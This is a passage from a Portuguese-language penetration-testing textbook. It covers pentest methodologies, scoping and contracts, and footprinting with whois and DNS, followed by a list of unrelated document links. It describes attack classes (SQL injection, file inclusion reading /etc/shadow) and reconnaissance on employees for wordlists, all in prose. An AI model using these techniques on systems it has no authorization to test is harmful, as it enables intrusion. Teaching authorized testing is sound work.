OWASP em redes sem fio ou mesmo a OSSTMM</p><p>em servidores web.</p><p>Algumas metodologias usadas são2:</p><p>• OSSTMM (Open Source Security Testing Methodology</p><p>Manual).</p><p>• ISSAF (Information Systems Security Assessment</p><p>Framework).</p><p>• OWASP (Open Web Application Security Project Top</p><p>Ten).</p><p>• WASC-TC (Web Application SecurityConsortium Threat</p><p>Classification).</p><p>As duas primeiras metodologias garantem a segurança</p><p>da informação de modo geral. Já as duas últimas são</p><p>metodologias específicas para servidores web. A escolha</p><p>de qual metodologia aplicar durante um teste de</p><p>penetração dependerá de vários fatores: o que foi</p><p>definido no escopo do projeto, quais as máquinas que</p><p>serão testadas, qual o objetivo do teste etc.</p><p>No livro, será abordada a metodologia Backtrack –</p><p>adotada por Shakeel Ali e Tedi Heriyanto, autores do livro</p><p>Backtrack 4: Assuring Security by Penetration Testing,</p><p>que, aliás, é uma leitura ótima e altamente recomendada</p><p>ao leitor.</p><p>3.5.1 Metodologia ISSAF</p><p>A metodologia ISSAF busca o resultado de uma auditoria</p><p>da forma mais rápida possível, podendo ser dividida em</p><p>quatro fases:</p><p>• Planejamento – Parte inicial do projeto em que são</p><p>definidas informações sobre quais máquinas serão</p><p>testadas, qual o propósito do teste de intrusão etc. De</p><p>posse dessas informações, a escolha de um plano de</p><p>ataque é feita.</p><p>• Avaliação – Realização do pentest e anotação dos</p><p>resultados obtidos.</p><p>• Tratamento – Decisão a respeito das</p><p>vulnerabilidades encontradas.</p><p>• Acreditação – Última etapa. Procedimentos finais</p><p>para a empresa receber a certificação ISSAF.</p><p>3.5.2 Metodologia OWASP</p><p>A metodologia OWASP é direcionada para testes em</p><p>servidores e aplicações web. A OWASP mantém uma lista</p><p>das principais vulnerabilidades para web.</p><p>Alguns testes que são realizados em ambiente web:</p><p>• Injeção – Diversos métodos de injeção de códigos</p><p>com o intuito de retornar dados privativos (como a</p><p>senha do administrador do site), injetar remotamente</p><p>comandos no sistema etc. As principais formas de</p><p>injeção são:</p><p>• Injeção SQL – Injeção de códigos SQL com o intuito</p><p>de retornar consultas SQL (uma consulta SQL pode</p><p>retornar credenciais do site).</p><p>• Local File Inclusion – Injeção de arquivos locais na</p><p>página. Por exemplo, pode-se injetar o conteúdo do</p><p>arquivo /etc/shadow na página com o intuito de</p><p>descobrir o hash de senhas dos usuários.</p><p>• Remote File Inclusion – Idem à técnica Local File</p><p>Inclusion, com a diferença de que é possível injetar</p><p>arquivos remotos (além de locais) na página. Um</p><p>programa malicioso pode ser inserido utilizando-se</p><p>dessa técnica.</p><p>• Code Injection – Injeção de códigos arbitrários na</p><p>página. Um estouro de pilha com acesso ao sistema</p><p>pode ser realizado.</p><p>• Command Injection – Injeção de comandos na</p><p>página. Qualquer comando do sistema (ls, pwd,</p><p>touch) pode ser utilizado.</p><p>• XSS – Injeção de códigos JavaScript. Um código</p><p>JavaScript pode retornar credenciais do site.</p><p>• Quebra do sistema de autenticação/sessão –</p><p>Manipulação e quebra de sistemas de autenticações,</p><p>como tela de logins.</p><p>• Referência direta a objetos – Manipulação de</p><p>dados diretamente na página, permitindo ataques de</p><p>injeção ou acesso a áreas restritas.</p><p>• Directory Traversal – Capacidade de leitura e</p><p>acesso a diretórios e arquivos proibidos.</p><p>• File Upload – Envio de arquivos para o servidor web.</p><p>Pode ser enviado um arquivo malicioso que permita o</p><p>controle da página web.</p><p>• Configurações falhas – Teste de intrusão em</p><p>serviços e não somente em aplicações web.</p><p>• Exposição de dados sensíveis – Dados sensíveis</p><p>(como nome de usuário e senhas) sem sistemas de</p><p>proteção ou métodos criptográficos adequados.</p><p>• CSRF – Falhas em sistemas de autenticação que</p><p>permitem ações não autorizadas (como cadastrar um</p><p>usuário no sistema, trocar a senha do administrador</p><p>do site etc.).</p><p>• Controle de acesso quanto à função – Acesso a</p><p>páginas restritas sem sistemas de autenticações.</p><p>• Utilização de componentes vulneráveis – Uso de</p><p>módulos e frameworks conhecidamente vulneráveis,</p><p>como o Joomla e o WordPress, sem o devido hardening</p><p>e sua correta implementação.</p><p>• Manutenção do acesso – Instalação de páginas</p><p>maliciosas no servidor para posterior acesso.</p><p>• Negação de serviço – Testes de stress com o</p><p>objetivo de sobrecarregar o alvo com excesso de</p><p>dados.</p><p>Mais detalhes sobre o OWASP podem ser encontrados em</p><p>http://owasp.org.</p><p>3.5.3 Metodologia OSSTMM</p><p>A metodologia OSSTMM baseia-se em métodos científicos</p><p>para auxiliar no processo de segurança da informação.</p><p>Não está vinculada a algum teste específico, como</p><p>pentest ou análise de vulnerabilidade. O seu objetivo é</p><p>avaliar a segurança digital considerando o objetivo do</p><p>negócio. De forma geral, para que isso ocorra, um teste</p><p>de segurança seguindo os padrões OSSTMM deverá</p><p>passar por três fases3: Pré-teste, teste e pós-teste.</p><p>• Pré-teste – Aspectos iniciais para a avaliação de</p><p>segurança:</p><p>• Conformidade – A avaliação deve seguir as leis</p><p>vigentes de determinado país, normas industriais e</p><p>políticas da empresa auditada.</p><p>• Regras de boa conduta – Regras gerais de boa</p><p>conduta para realizar a avaliação de segurança.</p><p>Inclui fatores como regras de Marketing e venda</p><p>(como não usar o medo para vender avaliações de</p><p>segurança), contratos permissivos a respeito da</p><p>futura avaliação, tempo e estimativa do projeto,</p><p>escopo, pessoas envolvidas etc</p><p>• Detectar riscos e ameaças – Tudo o que pode</p><p>comprometer a segurança dos dados ou ter efeito</p><p>negativo sobre a corporação auditada.</p><p>• Teste – Os testes devem ser devidamente realizados.</p><p>A metodologia Backtrack descreve alguns desses</p><p>testes. Testados todos os fatores de risco à</p><p>organização, a devida metodologia com o tipo de teste</p><p>(black-box, white-box ou gray-box) deve ser escolhida.</p><p>• Pós-teste – Escrita e apresentação dos resultados</p><p>obtidos em um relatório final.</p><p>3.5.4 Metodologia Backtrack</p><p>O Kali Linux</p><p>apresenta ferramentas enquadradas de</p><p>acordo com o seu objetivo (elas são descritas no capítulo</p><p>1.2,“Conhecendo o Kali Linux”). Essas ferramentas</p><p>acabam sendo uma mescla entre os testes black-box, e</p><p>white-box, portanto saber operar nas categorias do Kali</p><p>Linux ajudará o leitor a montar a sua metodologia de</p><p>acordo com o escopo do projeto do pentest.</p><p>A metodologia adotada por Shakeel Ali e Tedi Heriyanto é</p><p>extremamente interessante, pois o leitor pode ajustar a</p><p>metodologia de acordo com o que é definido no escopo.</p><p>A metodologia Backtrack, que será explicada no decorrer</p><p>do livro, é dividida em4:</p><p>1. Planejamento do projeto.</p><p>2. Footprinting.</p><p>3. Fingerprinting.</p><p>4. Enumeração.</p><p>5. Mapeamento de vulnerabilidades.</p><p>6. Exploração do alvo.</p><p>7. Engenharia social (opcional).</p><p>8. Escalonamento de privilégios.</p><p>9. Manutenção do acesso.</p><p>10. DoS – Negação de serviço.</p><p>11. Documentação técnica.</p><p>12. Redes sem fio (opcional).</p><p>A etapa de teste de intrusão web (etapas 5 e 6 –</p><p>mapeamento e exploração do alvo) do Backtrack 4:</p><p>Assuring Security by Penetration Testing não é abordada</p><p>neste livro, pois considero que ataques voltados a</p><p>aplicações web são um assunto a ser tratado em obras à</p><p>parte.</p><p>1 Para mais informações sobre a metodologia Backtrack, consulte o tópico</p><p>3.5.4 Metodologia Backtrack.</p><p>2 Ordenação proposta por Shakeel Ali e Tedi Heriyanto (p. 41).</p><p>3 Baseado no artigo</p><p>http://www.edilms.eti.br/uploads/file/publicacoes/artigo_osstmm.pdf.</p><p>4 Metodologia originalmente proposta por Shakeel Ali e Tedi Heriyanto no</p><p>livro Backtrack 4: Assuring Security by Penetration Testing, com pequenas</p><p>alterações introduzidas por mim. Uma figura original da metodologia</p><p>Backtrack encontra-se na página 52 da obra.</p><p>CAPÍTULO 4</p><p>Planejamento do projeto</p><p>Durante o planejamento de um projeto (escopo) para</p><p>testes de intrusão será decidido o que será testado,</p><p>quais as condições e as limitações que serão aplicadas</p><p>antes e no decorrer do teste (por exemplo: se o sistema</p><p>testado for puramente sem fio, o auditor necessitará</p><p>estar na cobertura da rede sem fio para realizar os</p><p>testes, sendo necessário deslocamento físico até a área</p><p>para o pentest), quanto tempo vai demorar o teste de</p><p>penetração, qual o objetivo do teste, dentre outras</p><p>possibilidades que devem fazer parte do escopo.</p><p>Há diversas informações que um escopo pode conter,</p><p>sendo as principais delas1:</p><p>• Informações gerais.</p><p>• Objetivo do pentest.</p><p>• Limitações.</p><p>• Contrato de acordo.</p><p>• Linha do tempo.</p><p>4.1 Informações gerais</p><p>Informações gerais é a primeira etapa do processo do</p><p>pentest e consiste em coletar todas as informações a</p><p>respeito da infraestrutura e do que será testado, a fim de</p><p>montar um plano de ataque mais consistente e</p><p>detalhado.</p><p>Como exemplos de informações gerais podemos citar:</p><p>quais recursos serão testados (servidores, web, estações</p><p>cliente, roteadores sem fio), quais tipos de testes e</p><p>metodologias serão utilizadas (OSSTMM, OWASP), em</p><p>qual horário poderá ser realizado o teste (caso exista</p><p>alguma limitação desse tipo) etc.</p><p>Faça o máximo de perguntas que puder para obter o</p><p>máximo de informações.</p><p>4.2 Objetivo do pentest</p><p>Independentemente do fator que levou o cliente à</p><p>realização do pentest (por exemplo, o seu cliente tem</p><p>uma rede puramente sem fio, suspeita que vizinhos ao</p><p>redor conseguiram quebrar a senha dessa rede e quer</p><p>que você realize uma bateria de testes para verificar se é</p><p>possível ou não uma intrusão), tenha em mente que um</p><p>pentest deverá sempre:</p><p>• Listar as ameaças e as vulnerabilidades encontradas</p><p>na rede.</p><p>• Manter os princípios da segurança da informação:</p><p>confidencialidade, integridade, disponibilidade e</p><p>autenticidade dos dados.</p><p>• Considerar a necessidade do seu cliente. Por exemplo:</p><p>um teste sobre rede sem fio não deve incluir testes</p><p>sobre servidores web. Ou se o cliente pediu somente</p><p>um teste de negação de serviço sobre o seu website,</p><p>testes de injeção (SQL Injection, XSS) estão</p><p>totalmente fora do acordo e não devem ser realizados</p><p>(satisfaça exatamente o desejo e a necessidade de</p><p>seu cliente).</p><p>4.3 Limitações</p><p>As principais limitações que podem ocorrer e devem ser</p><p>listadas no escopo são:</p><p>• Limitações de conhecimento – O auditor não tem</p><p>conhecimento suficiente sobre a tecnologia testada e</p><p>faz apenas uma análise superficial, gerando resultados</p><p>inconsistentes ou insatisfatórios.</p><p>• Limitações físicas – Caso a rede a ser testada seja</p><p>exclusivamente sem fio, o auditor necessita</p><p>locomover-se fisicamente até o local da rede.</p><p>• Limitações impostas pelo cliente – Restrições do</p><p>gênero: o cliente deseja que seja testada a sua rede</p><p>DMZ, porém isso não garante a segurança sobre o seu</p><p>firewall ou seu servidor VPN, o que pode levar ao</p><p>comprometimento de toda a rede, mesmo que ela</p><p>esteja protegida. Outro exemplo: o pentest poderá ser</p><p>realizado somente com hora marcada.</p><p>• Novos recursos – Durante o pentest é instalado um</p><p>novo firewall no sistema ou é criado um novo</p><p>departamento com novos equipamentos que devem</p><p>ser testados. Então não adianta o auditor corrigir</p><p>vulnerabilidades no sistema se, depois de uma</p><p>semana do pentest, o cliente instala um website com</p><p>módulos conhecidamente vulneráveis.</p><p>• Limitações financeiras – O valor do custo do</p><p>pentest pode se tornar uma limitação caso seja</p><p>considerado muito alto pelo cliente. Por exemplo: em</p><p>um teste de rede sem fio, o auditor deverá estar</p><p>fisicamente presente no local da rede, e a alocação</p><p>envolverá custos, como moradia, alimentação e</p><p>outros, aumentado o custo do pentest; dessa forma, a</p><p>proposta de segurança em redes sem fio poderá ser</p><p>negada (mesmo que a rede apresente diversas falhas</p><p>de segurança). Ainda, pode ser necessário que o</p><p>cliente troque todo o seu parque tecnológico para</p><p>assegurar o hardening; essa proposta poderá ser</p><p>negada e a rede continuará vulnerável.</p><p>4.4 Contrato de acordo</p><p>Com as informações coletadas e o escopo do projeto</p><p>montado, já é possível elaborar o contrato de acordo.</p><p>Mais detalhes sobre diversos tipos de contratos podem</p><p>ser consultados no capítulo 16, “Documentação técnica”.</p><p>Nesse tópico, vamos nos deter a uma forma mais simples</p><p>e genérica sobre o que um contrato de acordo deve</p><p>conter.</p><p>• Metodologia aplicada – A metodologia adotada pelo</p><p>auditor deve ser vista e revisada para atender ao</p><p>objetivo do pentest. Por exemplo, o cliente opta pela</p><p>metodologia OSSTMM e deseja que ataques de</p><p>negação de serviço sejam excluídos. Essa decisão</p><p>deve estar claramente definida no projeto. Isso</p><p>porque, caso o auditor faça qualquer teste que esteja</p><p>fora do escopo, o cliente poderá penalizá-lo</p><p>judicialmente (esse fator vai depender do que foi feito</p><p>pelo auditor).</p><p>• Acordo de sigilo – Antes de ser iniciado o teste de</p><p>intrusão, deve ser criado e assinado o termo de sigilo</p><p>(NDA). O acordo de sigilo é um acordo com cláusulas</p><p>garantindo a total segurança da rede auditada, assim</p><p>como o compromisso do auditor em não publicar</p><p>qualquer tipo de informação encontrada na rede</p><p>durante o pentest.</p><p>• Contrato judicial – Absolutamente tudo o que for</p><p>definido durante o escopo do projeto deve ser</p><p>minuciosamente escrito em um contrato judicial</p><p>válido. É de extrema importância que ambas as partes</p><p>leiam, entendam, concordem e assinem o contrato</p><p>judicial, pois é por meio deste que será garantido</p><p>perante a lei que o pentest realizado pelo auditor tem</p><p>permissão e conhecimento por parte do cliente, e que</p><p>as informações obtidas durante o pentest não serão</p><p>divulgadas, resguardando, portanto, auditor e</p><p>auditado. O contrato judicial deve ser assinado e</p><p>reconhecido em cartório antes do início do pentest.</p><p>4.5 Linha do tempo</p><p>Elaborado o escopo do projeto, a linha do tempo deverá</p><p>ser definida durante a realização do pentest, para ser</p><p>uma espécie de cronograma daquilo que foi realizado,</p><p>com os resultados obtidos. Essa etapa deve ser</p><p>cuidadosamente planejada, tendo em vista que o teste</p><p>de intrusão não deve exceder o prazo combinado. Se</p><p>exceder, provavelmente é porque o escopo do projeto foi</p><p>mal planejado</p><p>e com certeza isso vai desagradar seu</p><p>cliente, que havia pedido o teste em determinado prazo,</p><p>mas não teve o projeto entregue a tempo.</p><p>1 O planejamento do projeto segue as indicações propostas por Shakeel Ali e</p><p>Tedi Heriyanto (p. 61).</p><p>CAPÍTULO 5</p><p>Footprinting</p><p>A coleta de informações (ou footprinting) é a primeira</p><p>etapa que deve ocorrer em um pentest. O</p><p>reconhecimento consiste em obter todas as informações</p><p>a respeito da rede (topologia, mapeamento, servidores,</p><p>funcionários etc.). Quanto mais informações coletadas,</p><p>maior a probabilidade de acesso ao sistema auditado.</p><p>Todas as informações relacionadas ao segmento da</p><p>empresa – servidores, roteadores, firewalls, hábitos dos</p><p>funcionários e sua capacitação, pessoas relacionadas à</p><p>empresa, empresas terceirizadas, emails, Facebook,</p><p>telefones, informação jogada no lixo etc. – auxiliam no</p><p>processo de coleta de informações.</p><p>Podemos aplicar a engenharia social, a qual contribuirá</p><p>de forma significativa com o aumento das informações</p><p>pesquisadas. Por meio das informações do Google, do</p><p>Yahoo e de outros mecanismos de busca, em poucas</p><p>horas conseguimos uma gama de informações que</p><p>potencializa o teste de intrusão.</p><p>Um bom início para coleta de informações é começar</p><p>pesquisando no site alvo. Comece lendo o site, veja quais</p><p>são os domínios associados etc. Obtenha o máximo de</p><p>informações que conseguir. Com certeza o leitor</p><p>encontrará emails de contato, nomes relacionados à</p><p>administração e outras informações bem interessantes.</p><p>Com essas informações é possível criar uma lista de</p><p>palavras que servirá para futuros ataques (como quebra</p><p>de sistemas de login – HTTP, SMTP, WPA2 etc). Acredite,</p><p>sites revelam muitas informações a respeito do nosso</p><p>alvo, vale a pena checá-lo. Uma dica que lhe dou é</p><p>também buscar informações do site em repositórios</p><p>como o archive.org, que armazena o histórico de sites na</p><p>internet. Então aquela página antiga de 1995 que o</p><p>nosso site em teste exibia está arquivada em archive.org.</p><p>O passado de um site é revelador.</p><p>Com as informações básicas enumeradas, o próximo</p><p>passo para montarmos o nosso plano de ataque é coletar</p><p>informações a respeito do domínio a ser testado. O</p><p>domínio vai exibir dados públicos que podem ser de</p><p>interesse para atacantes. Realizando uma busca no</p><p>domínio do nosso alvo, obtemos informações como email</p><p>do responsável, servidores DNS (que serão utilizados</p><p>para enumeração DNS e transferência de zona –</p><p>conteúdo a ser visto mais adiante neste capítulo), país</p><p>etc. O comando whois do Linux pode usado para buscar e</p><p>enumerar informações de um domínio em órgãos</p><p>regulamentadores. Mas antes de utilizá-lo, vamos</p><p>entender como funciona a estrutura de domínios na</p><p>internet.</p><p>Cada país possui um órgão regulamentador de domínios.</p><p>Por exemplo, no Brasil, o responsável por regulamentar</p><p>domínios é o registro.br. Cada órgão regulamentador é</p><p>controlado por uma entidade superior. Por exemplo, o</p><p>registro.br é vinculado ao Lacnic (Entidade responsável</p><p>pelo gerenciamento de domínios da América Latina –</p><p>Figura 5.1). O órgão responsável pelo gerenciamento de</p><p>todos os continentes é o IANA (a futura organização será</p><p>a ICANN).</p><p>Figura 5.1 – Cada continente possui um órgão</p><p>regulamentador para os seus domínios. Fonte:</p><p>https://www.arin.net/knowledge/rirs/maps/rirmap.png.</p><p>Digite no terminal do Kali Linux:</p><p>root@kali# whois www.site.com.br</p><p>Exemplo:</p><p>root@kali# whois www.microsoft.com.br</p><p>% Copyright (c) Nic.br</p><p>%The use of the data below is only permitted as described in</p><p>%full by the terms of use at http://registro.br/termo/en.html ,</p><p>%being prohibited its distribution, comercialization or</p><p>%reproduction, in particular, to use it for advertising or</p><p>%any similar purpose.</p><p>%2015-03-27 22:53:30 (BRT -03:00)</p><p>domain:microsoft.com.br</p><p>owner:Microsoft Informatica Ltda</p><p>ownerid:060.316.817/0001-03</p><p>responsible: Benjamin Orndorff</p><p>country:BR</p><p>owner-c:BEORN2</p><p>admin-c:MICOR16</p><p>tech-c:MSH22</p><p>billing-c:COSCO3</p><p>nserver:ns1.msft.net</p><p>nsstat:20150326 AA</p><p>nslastaa:20150326</p><p>nserver:ns2.msft.net</p><p>nsstat:20150326 AA</p><p>nslastaa:20150326</p><p>nserver:ns3.msft.net</p><p>nsstat:20150326 AA</p><p>nslastaa:20150326</p><p>nserver:ns4.msft.net</p><p>nsstat:20150326 AA</p><p>nslastaa:20150326</p><p>created:19970130 #29325</p><p>expires:20160130</p><p>changed:20150128</p><p>status:published</p><p>nic-hdl-br:BEORN2</p><p>person:Benjamin Orndorff</p><p>e-mail:domains@microsoft.com</p><p>created:20110810</p><p>changed:20140812</p><p>nic-hdl-br:COSCO3</p><p>person:Corporation Service Company</p><p>e-mail:cctld-billing@cscinfo.com</p><p>created:20081112</p><p>changed:20081112</p><p>nic-hdl-br:MICOR16</p><p>person:Microsoft Corporation</p><p>e-mail:admin@internationaladmin.com</p><p>created:20101223</p><p>changed:20101223</p><p>nic-hdl-br:MSH22</p><p>person:MSN Hostmaster</p><p>e-mail:msnhst@microsoft.com</p><p>created:20040524</p><p>changed:20120517</p><p>% Security and mail abuse issues should also be addressed to</p><p>% cert.br, http://www.cert.br/, respectivelly to cert@cert.br</p><p>% and mail-abuse@cert.br</p><p>%</p><p>% whois.registro.br accepts only direct match queries. Types</p><p>% of queries are: domain (.br), registrant (tax ID), ticket,</p><p>% provider, contact handle (ID), CIDR block, IP and ASN.</p><p>Nota: o whois também funciona com IPs. Faça um teste: Acesse o site</p><p>www.meuip.com.br e depois veja as informações do seu IP por meio do</p><p>whois.</p><p>As informações básicas são exibidas (servidores DNS, a</p><p>pessoa responsável por aquele domínio juntamente com</p><p>o email dela), será necessário realizar a enumeração</p><p>DNS. A enumeração DNS é um passo importante para o</p><p>mapeamento da infraestrutura da rede, pois com o DNS</p><p>podemos descobrir quais são os domínios que</p><p>respondem por qual faixa de IPs.</p><p>5.1 DNS</p><p>DNS é o serviço responsável por traduzir nomes em</p><p>endereços IP (e vice-versa) de um determinado domínio.</p><p>Por exemplo, o domínio para os endereços</p><p>www.site.com.br, ftp.site.com.br, smtp.site.com.br é</p><p>site.com.br.</p><p>Os domínios encontram-se estruturados. Por exemplo:</p><p>quando o navegador acessa um www.site.com.br, são</p><p>consultados primeiro os domínios dentro de .br, depois os</p><p>domínios dentro de .com e, enfim, site.com.br, como</p><p>uma árvore hierárquica.</p><p>Exemplo de uma interação entre um cliente que faz uma</p><p>consulta a um servidor DNS:</p><p>Cliente:</p><p>– Servidor, qual é o IP do mta7.am0.yahoodns.net?</p><p>Servidor:</p><p>– Cliente, o IP é 66.196.118.35.</p><p>Cliente:</p><p>– Servidor, qual é o IP do mta6.am0.yahoodns.net?</p><p>Servidor:</p><p>– Cliente, o IP é 98.138.112.34.</p><p>Os servidores DNS podem ser dos seguintes tipos:</p><p>• Somente cache – Um servidor de cache responde às</p><p>consultas DNS pesquisando em outros servidores DNS,</p><p>armazenando temporariamente essa consulta. Se</p><p>algum cliente realizar uma nova requisição ao mesmo</p><p>DNS (que já foi anteriormente consultado), em vez de</p><p>o servidor de cache buscar novamente o pedido em</p><p>algum outro servidor DNS, o servidor de cache</p><p>pesquisa apenas localmente, agilizando a consulta. O</p><p>bind utiliza essa configuração por padrão.</p><p>• Servidor mestre (servidor primário) – Um servidor</p><p>mestre contém uma espécie de banco de dados</p><p>armazenado em arquivos locais com todas as</p><p>informações daquele domínio, associando cada</p><p>registro ao IP. É a fonte oficial de informações daquele</p><p>domínio e responde a qualquer consulta DNS para</p><p>aquele domínio feita por clientes.</p><p>• Servidor escravo (servidor secundário) – Assim</p><p>como o servidor mestre, um servidor escravo também</p><p>é autorizado a responder consultas feitas por clientes</p><p>àquele domínio. Para poder responder as essas</p><p>consultas, o servidor escravo também possui esse</p><p>banco de dados que ele transfere do mestre por meio</p><p>de uma técnica chamada de transferência de zona. Na</p><p>transferência de zona, todas as informações daquele</p><p>domínio (relação de registros e IPs) são repassadas ao</p><p>servidor escravo.</p><p>As informações a respeito do servidor DNS ficam</p><p>armazenadas em campos denominados registros. Um</p><p>registro associa os tipos de DNS. Por exemplo:</p>
- Atividades adaptadas- Historia 6 ano - Copia 1 (1)
- Tirinhas Recruta Zero - Pronomes possessivos
- Upgrade Cronograma Enem 1 Mês
- aula 4 - linguagem verbal e não verbal e figuras de linguagem
- aula 3 - elementos que compoem a estrutura do texto
- aula 2 - norma culta e lingua portuguesa no Brasil
- aula 1 - noção de texto e suas formas de impacto
- Seja Mais Feliz, Aconteça o que Acontecer - Tal Ben-Shahar
- Baralho Cigano em Diferentes Escolas (1)
- Aula 4 Oração subordinada adverbial; verbo subentendido
- Aula 3 Oração subordinada adjetiva explicativa
- Aula 2 Nomes próprios; vocativo; dispositivos de lei
- Aula 1 O emprego da vírgula considerações iniciais; ordem direta; inversão e intercalação
- 6. Observe o trecho do texto II: “Folhas verdes, feijão, brócolis, repolho, couve-flor e os vegetais de cor amarela e alaranjada, como a cenoura, f...
- Dois conjuntos contêm 7 números pares consecutivos cada. O número de elementos da intersecção desses dois conjuntos é igual a 3. A diferença entre ...
- (CESPE, 2017- Adaptada) A respeito da relação entre professor, aluno e conhecimento, assinale a opção correta:a) Nos anos iniciais do ensino fund...
- (EsPCEx) No número 34n27, qual é o algarismo que substitui n para que ele seja divisível por 9?a) 0b) 2c) 4d) 3e) 1
- (Brasil Escola) Considerando que A U B = {1, 2, 3, 4, 5, 6, 7, 8}, A n B = {4, 5} e A – B = {1, 2, 3}, determine o conjunto B.a) {4,5,6}b) Resol...
- Em nossos estudos, apresentamos a importância da escola no desenvolvimento do raciocínio lógico das crianças. Apresentamos duas alternativas, de ac...
- De acordo com o seu estudo na primeira Aula, percebemos o quão importante é a didática. Diante do exposto, assinale a alternativa que apresenta som...
- O SignWriting começou através da DanceWriting e hoje faz parte da vida de diversos surdos pelo mundo
- Sobre as desinências verbais e sua classificação, assinale, a seguir, a alternativa correta. Selecione a resposta: a As desinências verb...
- Julgue as frases abaixo quanto à concordância verbal: Muitos governadores eleitos vão, depois da posse, anunciarem cortes nos gastos públicos
- No contexto histórico brasileiro em que década surge o conceito de proteção social? Década de 60 Década de 50 Década de 40 Década de 30
- Questão 9/10 - Metodologia do Ensino de História Analise o excerto de texto: “Michel Foucault foi considerado um filósofo contemporâneo dos mais...
- Julgue as frases abaixo quanto à concordância verbal: O contador declarou não existirem documentos comprobatórios da fraude contábil. Questão 2Esc...
- Quase-1000-problemas-resolvidos 195
- Quase-1000-problemas-resolvidos 196